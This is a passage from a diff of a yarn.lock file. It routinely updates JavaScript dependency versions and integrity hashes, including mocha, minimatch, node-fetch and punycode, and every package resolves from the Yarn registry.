sha512-ypf0jjAk2BWI33yzEaaotpq7fkOPALKAgDBxggO6Q9HGX2MRXn0wbP1Jn/tJv1gtL867+YOjOB49WaUF3UoJNQ== - dependencies: - browser-level "^1.0.1" - classic-level "^1.2.0" - leveldown@6.1.0: version "6.1.0" resolved "https://registry.yarnpkg.com/leveldown/-/leveldown-6.1.0.tgz#7ab1297706f70c657d1a72b31b40323aa612b9ee" @@ -2806,14 +2679,6 @@ levelup@^4.3.2: level-supports "~1.0.0" xtend "~4.0.0" -locate-path@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-2.0.0.tgz#2b568b265eec944c6d9c0de9c3dbbbca0354cd8e" - integrity sha1-K1aLJl7slExtnA3pw9u7ygNUzY4= - dependencies: - p-locate "^2.0.0" - path-exists "^3.0.0" - locate-path@^6.0.0: version "6.0.0" resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-6.0.0.tgz#55321eb309febbc59c4801d931a72452a681d286" @@ -2826,12 +2691,12 @@ lodash.camelcase@^4.3.0: resolved "https://registry.yarnpkg.com/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz#b28aa6288a2b9fc651035c7711f65ab6190331a6" integrity sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA== -lodash@^4.17.11, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.16: +lodash@^4.17.11, lodash@^4.17.14, lodash@^4.17.15: version "4.17.21" resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c" integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg== -log-symbols@4.1.0: +log-symbols@^4.1.0: version "4.1.0" resolved "https://registry.yarnpkg.com/log-symbols/-/log-symbols-4.1.0.tgz#3fbdbb95b4683ac9fc785111e792e558d4abd503" integrity sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg== @@ -2839,6 +2704,13 @@ log-symbols@4.1.0: chalk "^4.1.0" is-unicode-supported "^0.1.0" +loupe@^2.3.6: + version "2.3.7" + resolved "https://registry.yarnpkg.com/loupe/-/loupe-2.3.7.tgz#6e69b7d4db7d3ab436328013d37d1c8c3540c697" + integrity sha512-zSMINGVYkdpYSOBmLi0D1Uo7JU9nVdQKrHxC8eYlV+9YKK9WePqAlL7lSlorG/U2Fw1w0hTBmaa/jrQ3UbPHtA== + dependencies: + get-func-name "^2.0.1" + lru-cache@^5.1.1: version "5.1.1" resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920" @@ -2849,18 +2721,23 @@ lru-cache@^5.1.1: lru_map@^0.3.3: version "0.3.3" resolved "https://registry.yarnpkg.com/lru_map/-/lru_map-0.3.3.tgz#b5c8351b9464cbd750335a79650a0ec0e56118dd" - integrity sha1-tcg1G5Rky9dQM1p5ZQoOwOVhGN0= + integrity sha512-Pn9cox5CsMYngeDbmChANltQl+5pi6XmTrraMSzhPmMBbmgcxmqWry0U3PGapCU1yB4/LqCcom7qhHZiF/jGfQ== ltgt@~2.2.0: version "2.2.1" resolved "https://registry.yarnpkg.com/ltgt/-/ltgt-2.2.1.tgz#f35ca91c493f7b73da0e07495304f17b31f87ee5" - integrity sha1-81ypHEk/e3PaDgdJUwTxezH4fuU= + integrity sha512-AI2r85+4MquTw9ZYqabu4nMwy9Oftlfa/e/52t9IjtfG+mGBbTNdAoZ3RQKLHR6r0wQnwZnPIEh/Ya6XTWAKNA== make-error@^1.1.1: version "1.3.6" resolved "https://registry.yarnpkg.com/make-error/-/make-error-1.3.6.tgz#2eb2e37ea9b67c4891f684a1394799af484cf7a2" integrity sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw== +math-intrinsics@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.0.0.tgz#4e04bf87c85aa51e90d078dac2252b4eb5260817" + integrity sha512-4MqMiKP90ybymYvsut0CH2g4XWbfLtmlCkXmtmdcDCxNB+mQcu1w/1+L/VD7vi/PSv7X2JYV7SCcR+jiPXnQtA== + mcl-wasm@^0.7.1: version "0.7.9" resolved "https://registry.yarnpkg.com/mcl-wasm/-/mcl-wasm-0.7.9.tgz#c1588ce90042a8700c3b60e40efb339fc07ab87f" @@ -2887,19 +2764,10 @@ memdown@^5.0.0: ltgt "~2.2.0" safe-buffer "~5.2.0" -memory-level@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/memory-level/-/memory-level-1.0.0.tgz#7323c3fd368f9af2f71c3cd76ba403a17ac41692" - integrity sha512-UXzwewuWeHBz5krr7EvehKcmLFNoXxGcvuYhC41tRnkrTbJohtS7kVn9akmgirtRygg+f7Yjsfi8Uu5SGSQ4Og== - dependencies: - abstract-level "^1.0.0" - functional-red-black-tree "^1.0.1" - module-error "^1.0.1" - memorystream@^0.3.1: version "0.3.1" resolved "https://registry.yarnpkg.com/memorystream/-/memorystream-0.3.1.tgz#86d7090b30ce455d63fbae12dda51a47ddcaf9b2" - integrity sha1-htcJCzDORV1j+64S3aUaR93K+bI= + integrity sha512-S3UwM3yj5mtUSEfP41UZmt/0SCoVYUcU1rkXv+BQ5Ig8ndL4sPoJNBUJERafdPb5jjHJGuMgytgKvKIf58XNBw== merkle-patricia-tree@^4.2.2, merkle-patricia-tree@^4.2.4: version "4.2.4" @@ -2921,17 +2789,17 @@ miller-rabin@^4.0.0: bn.js "^4.0.0" brorand "^1.0.1" -mime-db@1.51.0: - version "1.51.0" - resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.51.0.tgz#d9ff62451859b18342d960850dc3cfb77e63fb0c" - integrity sha512-5y8A56jg7XVQx2mbv1lu49NR4dokRnhZYTtL+KGfaa27uq4pSTXkwQkFJl4pkRMyNFz/EtYDSkiiEHx3F7UN6g== +mime-db@1.52.0: + version "1.52.0" + resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.52.0.tgz#bbabcdc02859f4987301c856e3387ce5ec43bf70" + integrity sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg== mime-types@^2.1.12, mime-types@~2.1.19: - version "2.1.34" - resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.34.tgz#5a712f9ec1503511a945803640fafe09d3793c24" - integrity sha512-6cP692WwGIs9XXdOO4++N+7qjqv0rqxxVvJ3VHPh/Sc9mVZcQP+ZGhkKiTvWMQRr2tbHkJP/Yn7Y0npb3ZBs4A== + version "2.1.35" + resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.35.tgz#381a871b62a734450660ae3deee44813f70d959a" + integrity sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw== dependencies: - mime-db "1.51.0" + mime-db "1.52.0" minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1: version "1.0.1" @@ -2941,33 +2809,33 @@ minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1: minimalistic-crypto-utils@^1.0.1: version "1.0.1" resolved "https://registry.yarnpkg.com/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz#f6c00c1c0b082246e5c4d99dfb8c7c083b2b582a" - integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo= + integrity sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg== -minimatch@5.0.1: - version "5.0.1" - resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-5.0.1.tgz#fb9022f7528125187c92bd9e9b6366be1cf3415b" - integrity sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g== +minimatch@^3.0.4, minimatch@^3.1.1: + version "3.1.2" + resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b" + integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw== dependencies: - brace-expansion "^2.0.1" + brace-expansion "^1.1.7" -minimatch@^3.0.4: - version "3.0.4" - resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083" - integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA== +minimatch@^5.0.1, minimatch@^5.1.6: + version "5.1.6" + resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-5.1.6.tgz#1cfcb8cf5522ea69952cd2af95ae09477f122a96" + integrity sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g== dependencies: - brace-expansion "^1.1.7" + brace-expansion "^2.0.1" -minimist@^1.2.5: - version "1.2.5" - resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602" - integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw== +minimist@^1.2.6: + version "1.2.8" + resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c" + integrity sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA== mkdirp@^0.5.1: - version "0.5.5" - resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.5.tgz#d91cefd62d1436ca0f41620e251288d420099def" - integrity sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ== + version "0.5.6" + resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.6.tgz#7def03d2432dcae4ba1d611445c48396062255f6" + integrity sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw== dependencies: - minimist "^1.2.5" + minimist "^1.2.6" mkdirp@^1.0.4: version "1.0.4" @@ -2982,57 +2850,41 @@ mnemonist@^0.38.0: obliterator "^2.0.0" mocha@^10.0.0: - version "10.2.0" - resolved "https://registry.yarnpkg.com/mocha/-/mocha-10.2.0.tgz#1fd4a7c32ba5ac372e03a17eef435bd00e5c68b8" - integrity sha512-IDY7fl/BecMwFHzoqF2sg/SHHANeBoMMXFlS9r0OXKDssYE1M5O43wUY/9BVPeIvfH2zmEbBfseqN9gBQZzXkg== - dependencies: - ansi-colors "4.1.1" - browser-stdout "1.3.1" - chokidar "3.5.3" - debug "4.3.4" - diff "5.0.0" - escape-string-regexp "4.0.0" - find-up "5.0.0" - glob "7.2.0" - he "1.2.0" - js-yaml "4.1.0" - log-symbols "4.1.0" - minimatch "5.0.1" - ms "2.1.3" - nanoid "3.3.3" - serialize-javascript "6.0.0" - strip-json-comments "3.1.1" - supports-color "8.1.1" - workerpool "6.2.1" - yargs "16.2.0" - yargs-parser "20.2.4" - yargs-unparser "2.0.0" - -module-error@^1.0.1, module-error@^1.0.2: - version "1.0.2" - resolved "https://registry.yarnpkg.com/module-error/-/module-error-1.0.2.tgz#8d1a48897ca883f47a45816d4fb3e3c6ba404d86" - integrity sha512-0yuvsqSCv8LbaOKhnsQ/T5JhyFlCYLPXK3U2sgV10zoKQwzs/MyfuQUOZQ1V/6OCOJsK/TRgNVrPuPDqtdMFtA== + version "10.8.2" + resolved "https://registry.yarnpkg.com/mocha/-/mocha-10.8.2.tgz#8d8342d016ed411b12a429eb731b825f961afb96" + integrity sha512-VZlYo/WE8t1tstuRmqgeyBgCbJc/lEdopaa+axcKzTBJ+UIdlAB9XnmvTCAH4pwR4ElNInaedhEBmZD8iCSVEg== + dependencies: + ansi-colors "^4.1.3" + browser-stdout "^1.3.1" + chokidar "^3.5.3" + debug "^4.3.5" + diff "^5.2.0" + escape-string-regexp "^4.0.0" + find-up "^5.0.0" + glob "^8.1.0" + he "^1.2.0" + js-yaml "^4.1.0" + log-symbols "^4.1.0" + minimatch "^5.1.6" + ms "^2.1.3" + serialize-javascript "^6.0.2" + strip-json-comments "^3.1.1" + supports-color "^8.1.1" + workerpool "^6.5.1" + yargs "^16.2.0" + yargs-parser "^20.2.9" + yargs-unparser "^2.0.0" ms@2.0.0: version "2.0.0" resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8" - integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g= - -ms@2.1.2: - version "2.1.2" - resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009" - integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w== + integrity sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A== -ms@2.1.3, ms@^2.1.1: +ms@^2.1.1, ms@^2.1.3: version "2.1.3" resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2" integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA== -nanoid@3.3.3: - version "3.3.3" - resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.3.tgz#fd8e8b7aa761fe807dba2d1b98fb7241bb724a25" - integrity sha512-p1sjXuopFs0xg+fPASzQ28agW1oHD7xDsd9Xkf3T15H3c/cifrFHVwrh74PdoklAPi+i7MdRsE47vm2r6JoB+w== - napi-macros@~2.0.0: version "2.0.0" resolved "https://registry.yarnpkg.com/napi-macros/-/napi-macros-2.0.0.tgz#2b6bae421e7b96eb687aa6c77a7858640670001b" @@ -3043,21 +2895,19 @@ node-addon-api@^2.0.0: resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-2.0.2.tgz#432cfa82962ce494b132e9d72a15b29f71ff5d32" integrity sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA== -node-fetch@^2.6.0: - version "2.6.6" - resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.6.6.tgz#1751a7c01834e8e1697758732e9efb6eeadfaf89" - integrity sha512-Z8/6vRlTUChSdIgMa51jxQ4lrw/Jy5SOW10ObaA47/RElsAN2c5Pn8bTgFGWn/ibwzXTE8qwr1Yzx28vsecXEA== - dependencies: - whatwg-url "^5.0.0" +node-addon-api@^5.0.0: + version "5.1.0" + resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-5.1.0.tgz#49da1ca055e109a23d537e9de43c09cca21eb762" + integrity sha512-eh0GgfEkpnoWDq+VY8OyvYhFEzBk6jIYbRKdIlyTiAXIVJ8PyBaKb0rp7oDtoddbdoHWhq8wwr+XZ81F1rpNdA== -node-fetch@^2.6.7: - version "2.6.9" - resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.6.9.tgz#7c7f744b5cc6eb5fd404e0c7a9fec630a55657e6" - integrity sha512-DJm/CJkZkRjKKj4Zi4BsKVZh3ValV5IR5s7LVZnW+6YMh0W1BfNA8XSs6DLMGYlId5F3KnA70uu2qepcR08Qqg== +node-fetch@^2.6.0, node-fetch@^2.6.7: + version "2.7.0" + resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.7.0.tgz#d0f0fa6e3e2dc1d27efcd8ad99d550bda94d187d" + integrity sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A== dependencies: whatwg-url "^5.0.0" -node-gyp-build@4.3.0, node-gyp-build@^4.2.0, node-gyp-build@^4.3.0: +node-gyp-build@4.3.0: version "4.3.0" resolved "https://registry.yarnpkg.com/node-gyp-build/-/node-gyp-build-4.3.0.tgz#9f256b03e5826150be39c764bf51e993946d71a3" integrity sha512-iWjXZvmboq0ja1pUGULQBexmxq8CV4xBhX7VDOTbL7ZR4FOowwY/VOtRxBN/yKxmdGoIp4j5ysNT4u3S2pDQ3Q== @@ -3067,6 +2917,11 @@ node-gyp-build@4.4.0: resolved "https://registry.yarnpkg.com/node-gyp-build/-/node-gyp-build-4.4.0.tgz#42e99687ce87ddeaf3a10b99dc06abc11021f3f4" integrity sha512-amJnQCcgtRVw9SvoebO3BKGESClrfXGCUTX9hSn1OuGQTQBOZmVd0Z0OlecpuRksKvbsUqALE8jls/ErClAPuQ== +node-gyp-build@^4.2.0, node-gyp-build@^4.3.0: + version "4.8.4" + resolved "https://registry.yarnpkg.com/node-gyp-build/-/node-gyp-build-4.8.4.tgz#8a70ee85464ae52327772a90d66c6077a900cfc8" + integrity sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ== + nofilter@^1.0.4: version "1.0.4" resolved "https://registry.yarnpkg.com/nofilter/-/nofilter-1.0.4.tgz#78d6f4b6a613e7ced8b015cec534625f7667006e" @@ -3082,34 +2937,27 @@ oauth-sign@~0.9.0: resolved "https://registry.yarnpkg.com/oauth-sign/-/oauth-sign-0.9.0.tgz#47a7b016baa68b5fa0ecf3dee08a85c679ac6455" integrity sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ== -object-inspect@^1.9.0: - version "1.11.1" - resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.11.1.tgz#d4bd7d7de54b9a75599f59a00bd698c1f1c6549b" - integrity sha512-If7BjFlpkzzBeV1cqgT3OSWT3azyoxDGajR+iGnFBfVV2EWyDyWaZZW2ERDjUaY2QM8i5jI3Sj7mhsM4DDAqWA== +object-inspect@^1.13.3: + version "1.13.3" + resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.3.tgz#f14c183de51130243d6d18ae149375ff50ea488a" + integrity sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA== obliterator@^2.0.0: - version "2.0.1" - resolved "https://registry.yarnpkg.com/obliterator/-/obliterator-2.0.1.tgz#fbdd873bf39fc4f365a53b1fc86617a22526987c" - integrity sha512-XnkiCrrBcIZQitJPAI36mrrpEUvatbte8hLcTcQwKA1v9NkCKasSi+UAguLsLDs/out7MoRzAlmz7VXvY6ph6w== + version "2.0.4" + resolved "https://registry.yarnpkg.com/obliterator/-/obliterator-2.0.4.tgz#fa650e019b2d075d745e44f1effeb13a2adbe816" + integrity sha512-lgHwxlxV1qIg1Eap7LgIeoBWIMFibOjbrYPIPJZcI1mmGAI2m3lNYpK12Y+GBdPQ0U1hRwSord7GIaawz962qQ== once@^1.3.0: version "1.4.0" resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1" - integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E= + integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w== dependencies: wrappy "1" os-tmpdir@~1.0.2: version "1.0.2" resolved "https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274" - integrity sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ= - -p-limit@^1.1.0: - version "1.3.0" - resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-1.3.0.tgz#b86bd5f0c25690911c7590fcbfc2010d54b3ccb8" - integrity sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q== - dependencies: - p-try "^1.0.0" + integrity sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g== p-limit@^3.0.2: version "3.1.0" @@ -3118,13 +2966,6 @@ p-limit@^3.0.2: dependencies: yocto-queue "^0.1.0" -p-locate@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-2.0.0.tgz#20a0103b222a70c8fd39cc2e580680f3dde5ec43" - integrity sha1-IKAQOyIqcMj9OcwuWAaA893l7EM= - dependencies: - p-limit "^1.1.0" - p-locate@^5.0.0: version "5.0.0" resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-5.0.0.tgz#83c8315c6785005e3bd021839411c9e110e6d834" @@ -3139,21 +2980,11 @@ p-map@^4.0.0: dependencies: aggregate-error "^3.0.0" -p-try@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/p-try/-/p-try-1.0.0.tgz#cbc79cdbaf8fd4228e13f621f2b1a237c1b207b3" - integrity sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M= - path-browserify@^1.0.0: version "1.0.1" resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-1.0.1.tgz#d98454a9c3753d5790860f16f68867b9e46be1fd" integrity sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g== -path-exists@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515" - integrity sha1-zg6+ql94yxiSXqfYENe1mwEP1RU= - path-exists@^4.0.0: version "4.0.0" resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3" @@ -3162,7 +2993,7 @@ path-exists@^4.0.0: path-is-absolute@^1.0.0: version "1.0.1" resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f" - integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18= + integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg== path-parse@^1.0.6: version "1.0.7" @@ -3188,66 +3019,63 @@ pbkdf2@^3.0.17, pbkdf2@^3.0.9: performance-now@^2.1.0: version "2.1.0" resolved "https://registry.yarnpkg.com/performance-now/-/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b" - integrity sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns= + integrity sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow== -picomatch@^2.0.4, picomatch@^2.2.1: - version "2.3.0" - resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.3.0.tgz#f1f061de8f6a4bf022892e2d128234fb98302972" - integrity sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw== +picocolors@^1.1.0: + version "1.1.1" + resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b" + integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA== -prettier@^2.1.2: - version "2.5.1" - resolved "https://registry.yarnpkg.com/prettier/-/prettier-2.5.1.tgz#fff75fa9d519c54cf0fce328c1017d94546bc56a" - integrity sha512-vBZcPRUR5MZJwoyi3ZoyQlc1rXeEck8KgeC9AwwOn+exuxLxq5toTRDTSaVrXHxelDMHy9zlicw8u66yxoSUFg== +picomatch@^2.0.4, picomatch@^2.2.1: + version "2.3.1" + resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.3.1.tgz#3ba3833733646d9d3e4995946c1365a67fb07a42" + integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA== -prettier@^2.3.1: - version "2.8.6" - resolved "https://registry.yarnpkg.com/prettier/-/prettier-2.8.6.tgz#5c174b29befd507f14b83e3c19f83fdc0e974b71" - integrity sha512-mtuzdiBbHwPEgl7NxWlqOkithPyp4VN93V7VeHVWBF+ad3I5avc0RVDT4oImXQy9H/AqxA2NSQH8pSxHW6FYbQ== +picomatch@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-4.0.2.tgz#77c742931e8f3b8820946c76cd0c1f13730d1dab" + integrity sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg== -printj@~1.1.0: - version "1.1.2" - resolved "https://registry.yarnpkg.com/printj/-/printj-1.1.2.tgz#d90deb2975a8b9f600fb3a1c94e3f4c53c78a222" - integrity sha512-zA2SmoLaxZyArQTOPj5LXecR+RagfPSU5Kw1qP+jkWeNlrq+eJZyY2oS68SU1Z/7/myXM4lo9716laOFAVStCQ== +prettier@^2.1.2, prettier@^2.3.1: + version "2.8.8" + resolved "https://registry.yarnpkg.com/prettier/-/prettier-2.8.8.tgz#e8c5d7e98a4305ffe3de2e1fc4aca1a71c28b1da" + integrity sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q== prr@~1.0.1: version "1.0.1" resolved "https://registry.yarnpkg.com/prr/-/prr-1.0.1.tgz#d3fc114ba06995a45ec6893f484ceb1d78f5f476" - integrity sha1-0/wRS6BplaRexok/SEzrHXj19HY= + integrity sha512-yPw4Sng1gWghHQWj0B3ZggWUm4qVbPwPFcRG8KyxiU7J2OHFSoEHKS+EZ3fv5l1t9CyCiop6l/ZYeWbrgoQejw== psl@^1.1.28: - version "1.8.0" - resolved "https://registry.yarnpkg.com/psl/-/psl-1.8.0.tgz#9326f8bcfb013adcc005fdff056acce020e51c24" - integrity sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ== + version "1.15.0" + resolved "https://registry.yarnpkg.com/psl/-/psl-1.15.0.tgz#bdace31896f1d97cec6a79e8224898ce93d974c6" + integrity sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w== + dependencies: + punycode "^2.3.1" -punycode@1.3.2: - version "1.3.2" - resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d" - integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0= +punycode@^1.4.1: + version "1.4.1" + resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e" + integrity sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ== -punycode@^2.1.0, punycode@^2.1.1: - version "2.1.1" - resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec" - integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A== +punycode@^2.1.0, punycode@^2.1.1, punycode@^2.3.1: + version "2.3.1" + resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.3.1.tgz#027422e2faec0b25e1549c3e1bd8309b9133b6e5" + integrity 